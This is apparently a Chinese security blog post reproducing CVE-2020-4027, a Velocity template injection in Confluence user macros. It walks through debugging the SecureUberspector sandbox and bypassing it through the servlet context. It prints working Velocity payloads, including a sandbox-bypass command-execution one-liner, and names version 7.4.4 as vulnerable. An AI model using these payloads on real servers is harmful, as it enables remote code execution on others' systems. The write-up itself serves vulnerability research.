Confluence模板注入(CVE-2020-4027)复现

前言

前段时间,涛哥安排了个Confluence站点的测试,网上搜了下存在模板注入可导致命令执行,编号CVE-2020-4027。网上没有复现的文章,直到要交报告了还是没成功执行命令,只能交个模板注入导致文件读取悻悻而归。这件事如鲠在喉,于是抽空搭个环境复现了下。

前期准备

复现环境本文使用的是Confluence 7.4.4的版本,官网有部署包可下,考虑到要下断点调试,没有使用Docker部署,数据库可以使用Docker起一个postgres,配置步骤网上有很多教程,本文就不具叙。

前期准备主要是IDEA怎么去调试的问题。开头就遇到坑,Xloggc的日志文件不支持中文,环境直接都启动不起来,最后排查下在service.bat里有Xloggc文件名参数,系统是中文的文件名也会是中文,删除掉百分号的内容即可。部署包自带一个tomcat,包里的confluence目录是项目的Web目录,刚开始想着从IDEA里启动tomcat,但不过是自带的tomcat,还是自己的tomcat启动后访问都是404。最后学着远程调试的方法,在自带tomcat的catalina.bat脚本开头加入以下一行调试命令,接着运行启动文件start-confluence.bat,并开启调试即可。

复现步骤

虽然网上没有找到具体的漏洞点,但根据CVE的描述和@Xiao_C师傅的复现截图可得知漏洞点是出在用户宏(User macros)里,再查阅下文档和根据上一个模板注入漏洞CVE-2019-3396可知,用户宏可通过管理员的一般设置的用户宏处设置,然后在编辑文章的其他宏里预览触发。

用CVE-2019-3396的payload如下,试了下无法执行命令直接输出了模板的内容,根据CVE的描述得知是因为使用了沙箱导致的。

1
2
3
4
5
6
7
8
9
#set($e="exp")
#set($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc=$e.getClass().forName("java.util.Scanner"))
#set($constructor=$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

那么先来看一个简单的velocity demo如下,最基本的会实例化模板引擎VelocityEngine和模板上下文VelocityContext

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
Properties p = new Properties();
VelocityEngine velocity = new VelocityEngine();
velocity.init(p);

Template template = velocity.getTemplate("test.vm", "utf-8");
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
template.merge(context, writer);
writer.flush();
System.out.println(writer.toString());
}

调试可以先从VelocityEngineinit方法下手。在init下断点,然后重新运行网站的启动脚本,用于初始化的Properties对象有很多的配置,其中runtime.introspector.uberspect是与沙箱相关的一个配置。其使用ConfluenceAnnotationBoxingUberspect类进行配置。

跟进ConfluenceAnnotationBoxingUberspect,最终找到它的父类SecureUberspector,是Volecity的默认沙箱。

用前面的Demo加上runtime.introspector.uberspect属性,使用之前模板注入的payload进行测试,会抛出一句告警。

搜寻一番,发现是在SecureIntrospectorImplgetMethod方法输出的日志。跟进到同一个类中的checkObjectExecutePermission方法,验证对象是否合法。常规模板注入获取Class实例,一般通过String类型的Class实例调用forName方法,也就是java.lang.Class已经在黑名单类内,所以这种方式在这里就无法使用了。

再回去看看CVE的描述,说是通过上下文绕过沙箱。接下来找找有哪些上下文属性,我这里在模板中执行String的codePointBefore方法并下断点。顺着调用栈往上找,在GenericVelocityMacroexecute方法里调用了MacroUtilsdefaultVelocityContext方法。

跟进defaultVelocityContext方法可以看到默认设置了reqresactionwebwork四个上下文属性。

1
2
3
4
5
6
7
8
9
10
11
12
public static Context createDefaultVelocityContext() {
Context ctx = ConfluenceVelocityManager.getConfluenceVelocityContext();
HttpContext httpContext = new StaticHttpContext();
HttpServletRequest request = httpContext.getRequest();
HttpServletResponse response = httpContext.getResponse();
ctx.put("req", request != null ? request : new ConfluenceMockServletRequest());
ctx.put("res", response);
Action action = getConfluenceActionSupport();
ctx.put("action", action);
ctx.put("webwork", new VelocityWebWorkUtil(new WebWorkVelocityContext((OgnlValueStack)null), (OgnlValueStack)null, (HttpServletRequest)null, (HttpServletResponse)null));
return ctx;
}

其中req做最终是实现ServletRequest接口的,具有getServletContext方法,可获得Servlet的上下文。而上下文中有attributes属性,其中包括org.apache.tomcat.InstanceManager的键值对,这个类名在Struts2的Poc中看过,可以通过newInstance方法new一个给定类名的实例。

然后可以通过ScriptEngineManager或各种表达式语言执行命令。其实这个模板注入本质上是漏洞作者@pwntester的另一个CVE漏洞Remote Code Execution in Apache Velocity,而且作者也给出了POC如下。

1
${req.getServletContext().getAttribute('org.apache.tomcat.InstanceManager').newInstance('javax.script.ScriptEngineManager').getEngineByName('js').eval("java.lang.Runtime.getRuntime().exec('touch /tmp/pwned')")}

在这之前遇到大坑了,官方说受影响版本包括7.5.0,我自己搭了个7.5.0版本,包括使用测试站点,用上面的payload是会直接原样输出的,也就是被沙箱拦截了。这一度让我以为方向错了,后来换个7.4.4版本就成功了,这就很无语了。

后记

水这篇文章的时间跨度好大,从九月底到现场,过了个国庆人都懈怠了。感觉写得有点乱,文中若有错误的地方,望各位师傅不吝斧正。

参考

https://securitylab.github.com/advisories/GHSL-2020-045-atlassian_confluence/

https://securitylab.github.com/advisories/GHSL-2020-048-apache-velocity/

https://twitter.com/XiaoC75068775/status/1309673425984610306

https://www.cnblogs.com/jinshiyill/p/5240906.html

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×